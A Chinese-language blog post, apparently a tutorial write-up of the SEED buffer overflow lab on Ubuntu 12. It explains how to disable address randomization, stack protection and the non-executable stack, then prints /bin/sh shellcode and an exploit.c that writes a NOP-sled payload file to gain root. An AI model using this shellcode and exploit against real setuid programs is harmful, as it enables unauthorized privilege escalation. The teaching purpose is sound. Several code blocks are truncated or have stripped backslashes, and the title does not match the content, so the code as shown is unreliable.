判断unsigned long long乘法溢出_什么是缓冲区溢出攻击?

f578d07f8108be2eafe054960176d532.png

黑客笔记 本期live互动、答疑相关问题归档:


Buffer Overflow Vulnerability Lab

实验目的:掌握缓冲区溢出漏洞原理。
缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据。
漏洞危害:用于更改程序执行流,控制函数返回值,执行任意代码。
漏洞产生原因:不可避免,由于程序存储数据(buffer)和程序(return address)
都在栈上,当存储数据覆盖了控制数据,就会发生缓冲区溢出的可能。
学习目标:

  • 通过代码设计和利用缓冲区溢出漏洞获取ubuntu12的root权限。
  • 掌握操作系统(linux OS)保护机制,阻止缓冲区溢出攻击。

你可以在ubuntu12虚拟机中完成本次实验,由于ubuntu中存在一些保护机制,
使缓冲区溢出很难实现,为此,我们需要关闭这些保护机制。

  • 地址随机化(address space randomization)
    堆/栈中的开始地址每次都不一样。
    关闭地址随机化

fdde98c94138ac7ccbb6992a0f22bb26.png
  • 栈保护机制(StackGuard Protection)
    gcc编译器实现的安全机制,阻止缓冲区溢出漏洞。你可以关闭这种机制,
    通过在编译时使用-fno-stack-protector选项。
  • 栈不可执行(Non-Executable Stack)
    ubuntu12默认栈不可执行,可以通过在编译的时候使用-z execstack选项来使堆栈可执行。

shellcode

shellcode是一段弹出shell的可执行代码,我们需要将这段可执行代码载入内核的buffer中,
通过缓冲区溢出漏洞,跳转到这段可执行代码处,让终端弹出shell。

#include 

执行效果与直接在/bin/目录下执行./sh效果一样。

shellcode长什么样?

const char code[] =
  "x31xc0"             /* xorl    %eax,%eax              */
  "x50"                 /* pushl   %eax                   */
  "x68""//sh"           /* pushl   $0x68732f2f            */
  "x68""/bin"           /* pushl   $0x6e69622f            */
  "x89xe3"             /* movl    %esp,%ebx              */
  "x50"                 /* pushl   %eax                   */
  "x53"                 /* pushl   %ebx                   */
  "x89xe1"             /* movl    %esp,%ecx              */
  "x99"                 /* cdq                            */
  "xb0x0b"             /* movb    $0x0b,%al              */
  "xcdx80"             /* int     $0x80                  */
;

如何让shellcode运行?

int 

shellcode汇编代码解读

d5ddafd03e08d4989bcdc65b659090c1.png

执行这段程序栈和寄存器中数据:

47ddd0aca2adea1970aa01d6e1a53e36.png

The Vulnerable Program

/* stack.c */

当badfile文件中内容大小低于缓冲区大小的时候,程序正常。
当文件内容大小超过缓冲区大小的时候,程序异常,发生缓冲区溢出。

exploiting the Vulnerability

利用缓冲区溢出漏洞,实现获取root权限:

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "x31xc0"             /* xorl    %eax,%eax              */
    "x50"                 /* pushl   %eax                   */
    "x68""//sh"           /* pushl   $0x68732f2f            */
    "x68""/bin"           /* pushl   $0x6e69622f            */
    "x89xe3"             /* movl    %esp,%ebx              */
    "x50"                 /* pushl   %eax                   */
    "x53"                 /* pushl   %ebx                   */
    "x89xe1"             /* movl    %esp,%ecx              */
    "x99"                 /* cdq                            */
    "xb0x0b"             /* movb    $0x0b,%al              */
    "xcdx80"             /* int     $0x80                  */
;
unsigned long get_sp()
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    long* addr_ptr,addr;
    int offset = 200;
    addr = get_sp() + offset;
    addr_ptr = (long*)buffer;
    for(int i = 0;i<10;i++)
        *(addr_ptr++) = addr;
    memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
    shellcode,sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

编译运行程序,即可以获取root权限:

f8e82fbf00386bb69299ffc591c69276.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值